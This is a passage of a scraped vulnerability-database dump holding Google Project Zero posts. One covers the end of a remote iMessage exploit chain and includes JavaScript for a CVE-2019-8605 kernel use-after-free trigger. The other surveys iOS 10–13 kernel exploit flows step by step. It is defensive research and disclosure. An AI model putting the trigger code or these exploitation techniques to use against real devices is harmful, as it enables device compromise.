fully controlled\n\n** \n**\n\nCombining these two ObjC methods allows calling of arbitrary exported C functions with arbitrary arguments. Finally, it is also possible to bridge this capability into JavaScript: JavaScript core supports bridging ObjC objects by implementing the [JSExport protocol](<https://developer.apple.com/documentation/javascriptcore/jsexport?language=objc>) and specifying the methods that should be exposed to JS. ObjC methods bridged in that way are implemented by creating one NSInvocation object for every method and [invoking it when the method is called in JS](<https://github.com/WebKit/webkit/blob/4193dc90616f9538b99058517fee62c53b094951/Source/JavaScriptCore/API/ObjCCallbackFunction.mm#L585>). Given the memory read/write capability, it is then possible to corrupt this NSInvocation object to call a different method on a different object, for example [CNFileServices dlsym::] or [NSInvocation invokeUsingIMP:].\n\n** \n**\n\nWith all of that and a bit of wrapper code to expose the required functionality in a convenient way, a reimplementation of Ned Williamson\u2019s [trigger](<https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=398587>) for [CVE-2019-8605 aka SockPuppet](<https://googleprojectzero.blogspot.com/2019/12/sockpuppet-walkthrough-of-kernel.html>) looks like this (see crash_kernel.js for the full code):\n\n** \n**\n\nlet sonpx = memory.alloc(8);\n\nmemory.write8(sonpx, new Int64(\"0x0000000100000001\"));\n\nlet minmtu = memory.alloc(8);\n\nmemory.write8(minmtu, new Int64(\"0xffffffffffffffff\"));\n\n** \n**\n\nlet n0 = new Int64(0);\n\nlet n4 = new Int64(4);\n\nlet n8 = new Int64(8);\n\n** \n**\n\nwhile (true) {\n\nlet s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);\n\nsetsockopt(s, SOL_SOCKET, SO_NP_EXTENSIONS, sonpx, n8);\n\nsetsockopt(s, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, n4);\n\ndisconnectx(s, n0, n0);\n\n// The next setsockopt will write into a freed buffer, so\n\n// give the kernel some time to reclaim it first.\n\nusleep(1000);\n\nsetsockopt(s, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, n4);\n\nclose(s);\n\n}\n\n** \n**\n\nThis demonstrates that it is possible to execute a kernel exploit from JavaScript after a successful remote exploit over iMessage and without any further vulnerabilities (e.g. a JavaScriptCore RCE exploit). \n\n** \n**\n\nThe source code for the proof-of-concept exploit can be found [here](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1917#c6>).\n\n## Improving Messenger Security\n\n** \n**\n\nThe insights gained during the exploitation work led to numerous recommendations for hardening measures, most of which have already been mentioned throughout this series where appropriate and have also been communicated to Apple. As they could also be relevant for other messenger and mobile operating system vendors, they are restated next.\n\n** \n**\n\n 1. As much code as possible should be put behind user interaction, in particular when receiving messages from unknown senders.\n\n 2. Communication side channels in the interactionless attack surface such as automatic delivery receipts should be removed. If that is not possible, the receipts should at least be sent in a way that prevents them from being abused to construct a crash oracle, for example by sending them on the server side or from a dedicated process\n\n 3. Processes handling incoming data should be sandboxed as much as possible and should be disallowed any network interaction to stop an attacker from constructing a communication channel (and afterwards an info leak) through a memory corruption or logic bug. This would also prevent bugs such as [CVE-2019-8646](<https://googleprojectzero.blogspot.com/2019/08/the-many-possibilities-of-cve-2019-8646.html>) from being easily exploitable.\n\n 4. ASLR should be as strong as possible. In particular, both heap spraying and brute force guessing should be impractical on any remote attack surface. Similarly, on iOS, the ASLR of the dyld shared cache region could be improved.\n\n 5. Some probabilistic defenses (ASLR, and in the future memory tagging) can be defeated if the attacker gets enough attempts (as is the case here with imagent). As such, it seems desirable to limit the number of attempts an attacker gets whenever possible and to deploy monitoring that is able to detect failed exploitation attempts.\n\n** \n**\n\nSince developing and reporting the presented exploit to Apple on August 9, the following security relevant changes to iOS have taken place:\n\n** \n**\n\n 1. A large part of the NSKeyedUnarchiver attack surface in iMessage was blocked ([by disallowing the decoding of child classes](<https://twitter.com/5aelo/status/1172534071332917248>)), thus rendering this bug and others unexploitable over iMessage\n\n 2. The vulnerability exploited here was fixed and assigned CVE-2019-8641\n\n 3. The decoding of the \u201cBP\u201d NSKeyedUnarchiver payload contained in incoming iMessages was moved into a sandboxed process (IMDPersistenceAgent). As such, an attacker exploiting an NSKeyedUnarchiver vulnerability over iMessage will now also need to break out of a sandbox.\n\n 4. A new unsigned int field, _magic, was added to the NSInvocation class. This field is set to the value of a per-process random global variable during initialization and asserted to be equal to it again during [NSInvocation invoke]. As such, it is no longer possible to create fake NSInvocation instances (which is a requirement for the presented PAC bypass) without leaking this value beforehand. Further, it appears that efforts are being made to protect the selector and target fields of NSInvocation with PAC in the future, additionally hindering abuse of NSInvocations even in case of an attacker with memory read/write capabilities.\n\n 5. The [MPMediaPickerController dealloc] method, which was used to bootstrap the PAC bypass by sending the \u201cinvoke\u201d selector to an attacker-controlled object, appears to have been removed. However, there are still other dealloc implementations that call \u201cinvoke\u201d on an attacker controlled object left. These might be removed in the future as well. As described above, it is in any case now more difficult to create fake NSInvocation instances. \n\n** \n**\n\nThis list could be incomplete as it was compiled through reverse engineering and manual experimentation, as Apple do not currently share any details of how their issues were fixed with security researchers.\n\n** \n**\n\nOn a final note, while good sandboxing is critical, it should not be relied upon blindly. As an example to consider, the vulnerability exploited here would likely also be usable to escape any sandbox on the device as the targeted API is commonly exposed over IPC as well.\n\n** \n**\n\n## Conclusion\n\n** \n**\n\nThis blog post series demonstrated that, despite numerous exploit mitigations being deployed, it is still possible to exploit memory corruption vulnerabilities in a non-interactive setting such as mobile messaging services and without an additional remote infoleak vulnerability as is commonly deemed necessary. The exploited vulnerability has been fixed by Apple and a few further hardening measures have already been deployed. A key insight of this research was that ASLR, which in theory should offer strong protection in this attack scenario, is not as strong in practice. In particular, ASLR can be defeated through heap spraying and through crash oracles, which can be constructed from commonly available side channels such as automatic delivery receipts. A second insight was that fairly arbitrary code, powerful enough to execute a kernel exploit, could be executed without ever creating or corrupting a code pointer, thus effectively bypassing PAC. Finally, based on the developed exploit, numerous suggestions for attack-surface reduction, hardening, and exploit mitigations were presented. My hope is that this research will ultimately help all vendors by highlighting how small design decisions can have significant security consequences and to hopefully better protect their users from these kinds of attacks.\n\n \n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-01-09T00:00:00", "type": "googleprojectzero", "title": "\nRemote iPhone Exploitation Part 3: From Memory Corruption to JavaScript and Back -- Gaining Code Execution\n", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605", "CVE-2019-8641", "CVE-2019-8646"], "modified": "2020-01-09T00:00:00", "id": "GOOGLEPROJECTZERO:0A90A47458C0D2B6B85F5BC6C0105ECC", "href": "https://googleprojectzero.blogspot.com/2020/01/remote-iphone-exploitation-part-3.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-07T02:00:35", "description": "Posted by Brandon Azad, Project Zero\n\n** \n**\n\nI recently found myself wishing for a single online reference providing a brief summary of the high-level exploit flow of every public iOS kernel exploit in recent years; since no such document existed, I decided to create it here.\n\n** \n**\n\nThis post summarizes original iOS kernel exploits from local app context targeting iOS 10 through iOS 13, focusing on the high-level exploit flow from the initial primitive granted by the vulnerability to kernel read/write. At the end of this post, we will briefly look at iOS kernel exploit mitigations (in both hardware and software) and how they map onto the techniques used in the exploits.\n\n** \n**\n\nThis isn't your typical P0 blog post: There is no gripping zero-day exploitation, or novel exploitation research, or thrilling malware reverse engineering. The content has been written as a reference since I needed the information and figured that others might find it useful too. You have been forewarned.\n\n# A note on terminology\n\nUnfortunately, there is no authoritative dictionary called \"Technical Hacking Terms for Security Researchers\", which makes it difficult to precisely describe some of the high-level concepts I want to convey. To that end, I have decided to ascribe the following terms specific meanings for the context of this post. If any of these definitions are at odds with your understanding of these terms, feel free to suggest improved terminology and I can update this post. :)\n\n** \n**\n\nExploit primitive: A capability granted during an exploit that is reasonably generic.\n\n** \n**\n\nA few examples of common exploit primitives include: n-byte linear heap overflow, integer increment at a controlled address, write-what-where, arbitrary memory read/write, PC control, arbitrary function calling, etc.\n\n** \n**\n\nA common exploit primitive specific to iOS kernel exploitation is having a send right to a fake Mach port (struct ipc_port) whose fields can be directly read and written from userspace.\n\n** \n**\n\nExploit strategy: The low-level, vulnerability-specific method used to turn the vulnerability into a useful exploit primitive.\n\n** \n**\n\nFor example, this is the exploit strategy used in Ian Beer's async_wake exploit for iOS 11.1.2:\n\n** \n**\n\nAn information leak is used to discover the address of arbitrary Mach ports. A page of ports is allocated and a specific port from that page is selected based on its address. The IOSurfaceRootUserClient bug is triggered to deallocate the Mach port, yielding a receive right to a dangling Mach port at a known (and partially controlled) address.\n\n** \n**\n\nThe last part is the generic/vulnerability-independent primitive that I interpret to be the end of the vulnerability-specific exploit strategy.\n\n** \n**\n\nTypically, the aim of the exploit strategy is to produce an exploit primitive which is highly reliable.\n\n** \n**\n\nExploit technique: A reusable and reasonably generic strategy for turning one exploit primitive into another (usually more useful) exploit primitive.\n\n** \n**\n\nOne example of an exploit technique is Return-Oriented Programming (ROP), which turns arbitrary PC control into (nearly) arbitrary code execution by reusing executable code gadgets.\n\n** \n**\n\nAn exploit technique specific to iOS kernel exploitation is using a fake Mach port to read 4 bytes of kernel memory by calling pid_for_task() (turning a send right to a fake Mach port into an arbitrary kernel memory read primitive).\n\n** \n**\n\nExploit flow: The high-level, vulnerability-agnostic chain of exploit techniques used to turn the exploit primitive granted by the vulnerability into the final end goal (in this post, kernel read/write from local app context).\n\n# Public iOS kernel exploits from app context since iOS 10\n\nThis section will give a brief overview of iOS kernel exploits from local context targeting iOS 10 through iOS 13. I'll describe the high-level exploit flow and list the exploit primitives and techniques used to achieve it. While I have tried to track down every original (i.e., developed before exploit code was published) public exploit available either as source code or as a sufficiently complete writeup/presentation, I expect that I may have missed a few. Feel free to reach out and suggest any that I have missed and I can update this post.\n\n** \n**\n\nFor each exploit, I have outlined the vulnerability, the exploit strategy (specific to the vulnerability), and the subsequent exploit flow (generic). The boundary between which parts of the exploit are specific to the vulnerability and which parts are generic enough to be considered part of the overall flow is subjective. In each case I've highlighted the particular exploitation primitive granted by the vulnerability that I consider sufficiently generic.\n\n## mach_portal - iOS 10.1.1\n\nBy Ian Beer of Google Project Zero ([@i41nbeer](<https://twitter.com/i41nbeer>)). \n\n** \n**\n\nThe vulnerability: CVE-2016-7644 is a race condition in XNU's set_dp_control_port() which leads to a Mach port being over-released.\n\n** \n**\n\nExploit strategy: Many Mach ports are allocated and references to them are dropped by racing set_dp_control_port() (it is possible to determine when the race has been won deterministically). The ports are freed by dropping a stashed reference, leaving the process holding receive rights to dangling Mach ports filling a page of memory.\n\n** \n**\n\nSubsequent exploit flow: A zone garbage collection is forced by calling mach_zone_force_gc() and the page of dangling ports is reallocated with an out-of-line (OOL) ports array containing pointers to the host port. mach_port_get_context() is called on one of the dangling ports to disclose the address of the host port. Using this value, it is possible to guess the page on which the kernel task port lives. The context value of each of the dangling ports is set to the address of each potential ipc_port on the page containing the kernel task port, and the OOL ports are received back in userspace to give a send right to the kernel task port.\n\n** \n**\n\nReferences: [mach_portal exploit code](<https://bugs.chromium.org/p/project-zero/issues/detail?id=965#c2>).\n\n## In-the-wild iOS Exploit Chain 1 - iOS 10.1.1\n\nDiscovered in-the-wild by Cl\u00e9ment Lecigne ([@_clem1](<https://twitter.com/_clem1>)) of Google's Threat Analysis Group. Analyzed by Ian Beer and Samuel Gro\u00df ([@5aelo](<https://twitter.com/5aelo>)) of Google Project Zero.\n\n** \n**\n\nThe vulnerability: The vulnerability is a linear heap out-of-bounds write of IOAccelResource pointers in the IOKit function AGXAllocationList2::initWithSharedResourceList().\n\n** \n**\n\nExploit strategy: The buffer to be overflowed is placed directly before a recv_msg_elem struct, such that the out-of-bounds write will overwrite the uio pointer with an IOAccelResource pointer. The IOAccelResource pointer is freed and reallocated with a fake uio struct living at the start of an OSData data buffer managed by IOSurface properties. The uio is freed, leaving a dangling OSData data buffer accessible via IOSurface properties.\n\n** \n**\n\nSubsequent exploit flow: The dangling OSData data buffer slot is reallocated with an IOSurfaceRootUserClient instance, and the data contents are read via IOSurface properties to give the KASLR slide, the address of the current task, and the address of the dangling data buffer/IOSurfaceRootUserClient. Then, the data buffer is freed and reallocated with a modified version of the IOSurfaceRootUserClient, such that calling an external method on the modified user client will return the address of the kernel task read from the kernel's __DATA segment. The data buffer is freed and reallocated again such that calling an external method will execute the OSSerializer::serialize() gadget, leading to an arbitrary read-then-write that stores the address of the kernel task port in the current task's list of special ports. Reading the special port from userspace gives a send right to the kernel task port.\n\n** \n**\n\nReferences: [In-the-wild iOS Exploit Chain 1 - AGXAllocationList2::initWithSharedResourceList heap overflow](<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-1.html>).\n\n## extra_recipe - iOS 10.2\n\nBy Ian Beer.\n\n** \n**\n\nThe vulnerability: CVE-2017-2370 is a linear heap buffer overflow reachable from unprivileged contexts in XNU's mach_voucher_extract_attr_recipe_trap() due to an attacker-controlled userspace pointer used as the length in a call to copyin().\n\n** \n**\n\nExploit strategy: The vulnerable Mach trap is called to create a kalloc allocation and immediately overflow out of it with controlled data, corrupting the ikm_size field of a subsequent ipc_kmsg object. This causes the ipc_kmsg, which is the preallocated message for a Mach port, to believe that it has a larger capacity than it does, overlapping it with the first 240 bytes of the subsequent allocation. By registering the Mach port as the exception port for a userspace thread and then crashing the thread with controlled register state, it is possible to repeatedly and reliably overwrite the overlapping part of the subsequent allocation, and by receiving the exception message it is possible to read those bytes. This gives a controlled 240-byte out-of-bounds read/write primitive off the end of the corrupted ipc_kmsg.\n\n** \n**\n\nSubsequent exploit flow: A second ipc_kmsg is placed after the corrupted one and read in order to determine the address of the allocations. Next an AGXCommandQueue user client is reallocated in the same slot and the virtual method table is read to determine the KASLR slide. Then the virtual method table is overwritten such that a virtual method call on the AGXCommandQueue invokes the OSSerializer::serialize() gadget, producing a 2-argument arbitrary kernel function call primitive. Calling the function uuid_copy() gives an arbitrary kernel read/write primitive.\n\n** \n**\n\nReferences: [Exception oriented exploitation on iOS](<https://googleprojectzero.blogspot.com/2017/04/exception-oriented-exploitation-on-ios.html>), [extra_recipe exploit code](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1004#c4>).\n\n## Yalu102 - iOS 10.2\n\nBy Luca Todesco ([@qwertyoruiopz](<https://twitter.com/qwertyoruiopz>)) and Marco Grassi ([@marcograss](<https://twitter.com/marcograss>)).\n\n** \n**\n\nThe vulnerability: CVE-2017-2370 (same as above).\n\n** \n**\n\nExploit strategy: The vulnerable Mach trap is called to create a kalloc allocation and immediately overflow out of it with controlled data, overwriting the contents of an OOL port array and inserting a pointer to a fake Mach port in userspace. Receiving the message containing the OOL ports yields a send right to the fake Mach port whose contents can be controlled directly.\n\n** \n**\n\nSubsequent exploit flow: The fake Mach port is converted into a clock port and clock_sleep_trap() is used to brute force a kernel image pointer. Then the port is converted into a fake task port to read memory via pid_for_task(). Kernel memory is scanned backwards from the leaked kernel image pointer until the kernel text base is located, breaking KASLR. Finally, a fake kernel task port is constructed.\n\n** \n**\n\nNotes: The exploit does not work with PAN enabled.\n\n** \n**\n\nReferences: [Yalu102 exploit code](<https://github.com/kpwn/yalu102>).\n\n## ziVA - iOS 10.3.1\n\nBy Adam Donenfeld ([@doadam](<https://twitter.com/doadam>)) of Zimperium.\n\n** \n**\n\nThe vulnerability: Multiple vulnerabilities in AppleAVE2 due to external methods sharing IOSurface pointers with userspace and trusting IOSurface pointers read from userspace.\n\n** \n**\n\nExploit strategy: An IOSurface object is created and an AppleAVE2 external method is called to leak its address. The vtable of an IOFence pointer in the IOSurface is leaked using another external method call, breaking KASLR. The IOSurface object is freed and reallocated with controlled data using an IOSurface property spray. Supplying the leaked pointer to an AppleAVE2 external method that trusts IOSurface pointers supplied from userspace allows hijacking a virtual method call on the fake IOSurface; this is treated as a oneshot hijacked virtual method call with a controlled target object at a known address.\n\n** \n**\n\nSubsequent exploit flow: The hijacked virtual method call is used with the OSSerializer::serialize() gadget to call copyin() and overwrite 2 sysctl_oid structs. The sysctls are overwritten such that reading the first sysctl calls copyin() to update the function pointer and arguments for the second sysctl and reading the second sysctl uses the OSSerializer::serialize() gadget to call the kernel function with 3 arguments. This 3-argument arbitrary kernel function call primitive is used to read and write arbitrary memory by calling copyin()/copyout().\n\n** \n**\n\nNotes: iOS 10.3 introduced the initial form of task_conversion_eval(), a weak mitigation that blocks userspace from accessing a right to the real kernel task port. Any exploit after iOS 10.3 needs to build a fake kernel task port instead.\n\n** \n**\n\nReferences: [Ro(o)tten Apples](<https://www.blackhat.com/docs/eu-17/materials/eu-17-Donenfeld-Rooten-Apples-Vulnerability-Heaven-In-The-IOS-Sandbox.pdf>), [ziVA exploit code](<https://github.com/doadam/ziVA>).\n\n## async_wake - iOS 11.1.2\n\nBy Ian Beer.\n\n** \n**\n\nThe vulnerability: CVE-2017-13861 is a vulnerability in IOSurfaceRootUserClient::s_set_surface_notify() that causes an extra reference to be dropped on a Mach port. CVE-2017-13865 is a vulnerability in XNU's proc_list_uptrs() that leaks kernel pointers by failing to fully initialize heap memory before copying out the contents to userspace.\n\n** \n**\n\nExploit strategy: The information leak is used to discover the address of arbitrary Mach ports. A page of ports is allocated and a specific port from that page is selected based on its address. The port is deallocated using the IOSurfaceRootUserClient bug, yielding a receive right to a dangling Mach port at a known (and partially controlled) address.\n\n** \n**\n\nSubsequent exploit flow: The other ports on that page are freed and a zone garbage collection is forced so that the page is reallocated with the contents of an ipc_kmsg, giving a fake Mach port with controlled contents at a known address. The reallocation converted the port into a fake task port through which arbitrary kernel memory can be read using pid_for_task(). (The address to read is updated without reallocating the fake port by using mach_port_set_context().) Relevant kernel objects are located using the kernel read primitive and the fake port is reallocated again with a fake kernel task port.\n\n** \n**\n\nNotes: iOS 11 removed the mach_zone_force_gc() function which allowed userspace to prompt the kernel to perform a zone garbage collection, reclaiming all-free virtual pages in the zone map for use by other zones. Exploits for iOS 11 and later needed to develop a technique to force a zone garbage collection. At least three independent techniques have been developed to do so, demonstrated in async_wake, v0rtex, and In-the-wild iOS exploit chain 3.\n\n** \n**\n\nReferences: [async_wake exploit code](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1417#c17>).\n\n## In-the-wild iOS Exploit Chain 2 - iOS 10.3.3\n\nDiscovered in-the-wild by Cl\u00e9ment Lecigne. Analyzed by Ian Beer and Samuel Gro\u00df.\n\n** \n**\n\nThe vulnerability: CVE-2017-13861 (same as above).\n\n** \n**\n\nExploit strategy: Two Mach ports, port A and port B, are allocated as part of a spray. The vulnerability is triggered to drop a reference on port A, and the ports surrounding A are freed, leading to a dangling port pointer. Zone garbage collection is forced by calling mach_zone_force_gc() and the page containing port A is reallocated with an OOL ports spray containing a pattern such that port A's ip_context field overlaps a pointer to port B. Calling mach_port_get_context() gives the address of port B. The vulnerability is triggered again with port B, leading to a receive right to a dangling Mach port at a known address.\n\n** \n**\n\nSubsequent exploit flow: After another zone garbage collection, the dangling port B is reallocated with a segmented OOL memory spray such that calling mach_port_get_context() can identify which 4 MB segment of the spray reallocated port B. That segment is freed and port B is reallocated with pipe buffers, giving a controlled fake Mach port at a known address. The fake port is converted into a clock port and clock_sleep_trap() is used to brute force KASLR. The fake port is next converted into a fake task port and a 4-byte kernel read primitive is established using pid_for_task(). Finally, the fake port is converted into a fake kernel task port.\n\n** \n**\n\nReferences: [In-the-wild iOS Exploit Chain 2 - IOSurface](<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-2.html>).\n\n## v0rtex - iOS 10.3.3\n\nBy Siguza ([@S1guza](<https://twitter.com/s1guza>)).\n\n** \n**\n\nThe vulnerability: CVE-2017-13861 (same as above).\n\n** \n**\n\nExploit strategy: Mach ports are sprayed and a reference on one port is dropped using the vulnerability. The other ports on the page are freed, leaving a receive right to a dangling Mach port.\n\n** \n**\n\nSubsequent exploit flow: A zone garbage collection is forced using mach_zone_force_gc() and the page containing the dangling port is reallocated with an OSString buffer via an IOSurface property spray. The OSString buffer contains a pattern that initializes critical fields of the port and allows the index of the OSString containing the port to be determined by calling mach_port_get_context() on the fake port. The OSString containing the fake port is freed and reallocated as a normal Mach port. mach_port_request_notification() is called to put the address of a real Mach port in the fake port's ip_pdrequest field, and the OSString's contents are read via IOSurface to get the address. mach_port_request_notification() is used again to get the address of the fake port itself.\n\n** \n**\n\nThe string buffer is freed and reallocated such that mach_port_get_attributes() can be used as a 4-byte arbitrary read primitive, with the target address to read updateable via mach_port_set_context(). (This is analogous to the pid_for_task() technique, but with slightly different constraints.) Starting at the address of the real Mach port, kernel memory is read to find relevant kernel objects. The string buffer is freed and reallocated again with a fake task port sufficient to remap the string buffer into the process's address space. The fake port is updated via the mapping to yield a 7-argument arbitrary kernel function call primitive using iokit_user_client_trap(), and kernel functions are called to generate a fake kernel task port.\n\n** \n**\n\nReferences: [v0rtex writeup](<https://siguza.github.io/v0rtex/>), [v0rtex exploit code](<https://github.com/Siguza/v0rtex>).\n\n## Incomplete exploit for CVE-2018-4150 bpf-filter-poc - iOS 11.2.6\n\nVulnerability analysis and POC by Chris Wade ([@cmwdotme](<https://twitter.com/cmwdotme>)) at Corellium. Exploit by littlelailo ([@littlelailo](<https://twitter.com/littlelailo>)).\n\n** \n**\n\nThe vulnerability: CVE-2018-4150 is a race condition in XNU's BPF subsystem which leads to a linear heap buffer overflow due to a buffer length being increased without reallocating the corresponding buffer.\n\n** \n**\n\nExploit strategy: The race is triggered to incorrectly increase the length of the buffer without reallocating the buffer itself. A packet is sent and stored in the buffer, overflowing into a subsequent OOL ports array and inserting a pointer to a fake Mach port in userspace. Receiving the message containing the OOL ports yields a send right to the fake Mach port whose contents can be controlled directly.\n\n** \n**\n\nSubsequent exploit flow: The fake Mach port is converted into a clock port and clock_sleep_trap() is used to brute force a kernel image pointer. Then the port is converted into a fake task port to read memory via pid_for_task(). Kernel memory is scanned backwards from the leaked kernel image pointer until the kernel text base is located, breaking KASLR. The final part of the exploit is incomplete, but construction of a fake kernel task port at this stage would be straightforward and deterministic using existing code.\n\n** \n**\n\nNotes: The exploit does not work with PAN enabled.\n\n** \n**\n\nReferences: [CVE-2018-4150 POC](<https://github.com/Jailbreaks/CVE-2018-4150/blob/master/CVE-2018-4150.c>), [incomplete-exploit-for-CVE-2018-4150-bpf-filter-poc exploit code](<https://github.com/littlelailo/incomplete-exploit-for-CVE-2018-4150-bpf-filter-poc->).\n\n## multi_path - iOS 11.3.1\n\nBy Ian Beer.\n\n** \n**\n\nThe vulnerability: CVE-2018-4241 is an intra-object linear heap buffer overflow in XNU's mptcp_usr_connectx() due to incorrect bounds checking.\n\n** \n**\n\nExploit strategy: The kernel heap is groomed to place a 2048-byte ipc_kmsg struct at a 16 MB aligned address below the mptses structs (the object containing the overflow) associated with a few multipath TCP sockets. The vulnerability is used to overwrite the lower 3 bytes of the mpte_itfinfo pointer in the mptses struct with zeros and the socket is closed. This triggers a kfree() of the corrupted pointer, freeing the ipc_kmsg struct at the 16 MB alignment boundary. The freed ipc_kmsg slot is reallocated with sprayed pipe buffers. The vulnerability is triggered again to overwrite the lower 3 bytes of the mpte_itfinfo pointer in another mptses struct with zeros and the socket is closed, causing another kfree() of the same address. This frees the pipe buffer that was just allocated into that slot, leaving a dangling pipe buffer.\n\n** \n**\n\nSubsequent exploit flow: The slot is reallocated again with a preallocated ipc_kmsg. A userspace thread is crashed to cause a message to be stored in the preallocated ipc_kmsg buffer overlapping the pipe buffer; reading the pipe in userspace yields the contents of the ipc_kmsg struct, giving the address of the dangling pipe buffer/ipc_kmsg. The pipe is written to change the contents of the ipc_kmsg struct such that receiving the message yields a send right to a fake Mach port inside the pipe buffer. The exception message is received and the pipe is rewritten to convert the fake port into a kernel read primitive using pid_for_task(). Relevant kernel objects are located and the fake port is converted into a fake kernel task port.\n\n** \n**\n\nReferences: [multi_path exploit code](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1558#c3>).\n\n## multipath_kfree - iOS 11.3.1\n\nBy John \u00c5kerblom ([@jaakerblom](<https://twitter.com/jaakerblom>)).\n\n** \n**\n\nThe vulnerability: CVE-2018-4241 (same as above).\n\n** \n**\n\nExploit strategy: The kernel heap is groomed to place preallocated 4096-byte ipc_kmsg structs near the mptses structs for a few multipath TCP sockets. The vulnerability is triggered twice to corrupt the lower 2 bytes of the mpte_itfinfo pointer in two mptses structs, such that closing the sockets results in kfree()s of the two corrupted pointers. Each pointer is corrupted to point 0x7a0 bytes into an ipc_kmsg allocation, creating 4096-byte holes spanning 2 messages. A Mach port containing one of the partially-freed ipc_kmsg structs (with the ipc_kmsg header intact but the message contents freed) is located by using mach_port_peek() to detect a corrupted msgh_id field. Once the port is found, the hole is reallocated by spraying preallocated ipc_kmsg structs and a message is placed in each. Filling the hole overlaps the original (partially freed) ipc_kmsg's Mach message contents with the ipc_kmsg header of the replacement, such that receiving the message on the original port reads the contents of the replacement ipc_kmsg header. The header contains a pointer to itself, disclosing the address of the replacement ipc_kmsg allocation. The vulnerability is triggered a third time to free the replacement message, leaving a partially freed preallocated ipc_kmsg at a known address.\n\n** \n**\n\nSubsequent exploit flow: The hole in the corrupted ipc_kmsg is reallocated by spraying AGXCommandQueue user clients. A message is received on the Mach port in userspace, copying out the contents of the AGXCommandQueue object, from which the vtable is used to determine the KASLR slide. Then the corrupted ipc_kmsg is freed and reallocated by spraying more preallocated ipc_kmsg structs with a slightly different internal layout allowing more control over the contents. A message is placed in each of the just-sprayed ipc_kmsg structs to modify the overlapping AGXCommandQueue and hijack a virtual method call; the hijacked virtual method uses the OSSerializer::serialize() gadget to call copyout(), which is used to identify which of the sprayed AGXCommandQueue user clients overlaps the slot from the corrupted ipc_kmsg. The contents of each of the just-sprayed preallocated ipc_kmsg structs is updated in turn to identify which port corresponds to the corrupted ipc_kmsg. The preallocated port and user client port are used together to build a 3-argument arbitrary kernel function call primitive by updating the contents of the AGXCommandQueue object through an exception message sent to the preallocated port.\n\n** \n**\n\nReferences: [multipath_kfree exploit code](<https://github.com/potmdehex/multipath_kfree>).\n\n## empty_list - iOS 11.3.1\n\nBy Ian Beer.\n\n** \n**\n\nThe vulnerability: CVE-2018-4243 is a partially controlled 8-byte heap out-of-bounds write in XNU's getvolattrlist() due to incorrect bounds checking.\n\n** \n**\n\nExploit strategy: Due to significant triggering constraints, the vulnerability is treated as an 8-byte heap out-of-bounds write of zeros off the end of a kalloc.16 allocation. The kernel heap is groomed into a pattern of alternating blocks for the zones of kalloc.16 and ipc.ports, and further grooming reverses the kalloc.16 freelist. The vulnerability is repeatedly triggered after freeing various kalloc.16 allocations until a kalloc.16 allocation at the end of a block is overflowed, corrupting the first 8 bytes of the first ipc_port on the subsequent page. The corrupted port is freed by calling mach_port_set_attributes(), leaving the process holding a receive right to a dangling Mach port.\n\n** \n**\n\nSubsequent exploit flow: A zone garbage collection is forced and the dangling port is reallocated with an OOL ports array containing a pointer to another Mach port overlapping the ip_context field, so that the address of the other port is retrieved by calling mach_port_get_context(). The dangling port is then reallocated with pipe buffers and converted into a kernel read primitive using pid_for_task(). Using the address of the other port as a starting point, relevant kernel objects are located. Finally, the fake port is converted into a fake kernel task port.\n\n** \n**\n\nReferences: [empty_list exploit code](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1564#c10>).\n\n## In-the-wild iOS Exploit Chain 3 - iOS 11.4\n\nDiscovered in-the-wild by Cl\u00e9ment Lecigne. Analyzed by Ian Beer and Samuel Gro\u00df.\n\n** \n**\n\nThe vulnerability: The vulnerability is a double-free reachable from AppleVXD393UserClient::DestroyDecoder() (the class name varies by hardware) due to failing to clear a freed pointer.\n\n** \n**\n\nExploit strategy: The target 56-byte allocation is created and freed, leaving the dangling pointer intact. The slot is reallocated with an OSData buffer using an IOSurface property spray. The vulnerable method is called again to free the buffer, leaving a dangling OSData buffer. The slot is reallocated again with an OOL ports array containing a single target Mach port pointer and the contents are read in userspace via IOSurface properties, yielding the address of the port. The vulnerable method is called once more to free the OOL ports and the slot is reallocated with another OSData buffer containing two pointers to the Mach port. The holding port holding the OOL descriptor is destroyed, dropping two references to the Mach port. This leaves the process with a receive right to a dangling Mach port at a known address.\n\n** \n**\n\nSubsequent exploit flow: A zone garbage collection is performed and the dangling port is reallocated with a segmented OOL memory spray such that calling mach_port_get_context() can identify which segment of the spray reallocated the port. That segment is freed and the dangling port is reallocated with pipe buffers, giving a controlled fake Mach port at a known address. The fake port is converted into a clock port and clock_sleep_trap() is used to brute force KASLR. The fake port is next converted into a fake task port and a kernel read primitive is established using pid_for_task(). Finally, the fake port is converted into a fake kernel task port.\n\n** \n**\n\nReferences: [In-the-wild iOS Exploit Chain 3 - XPC + VXD393/D5500 repeated IOFree](<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-3.html>).\n\n## Spice - iOS 11.4.1\n\nVulnerability analysis and POC by Luca Moro 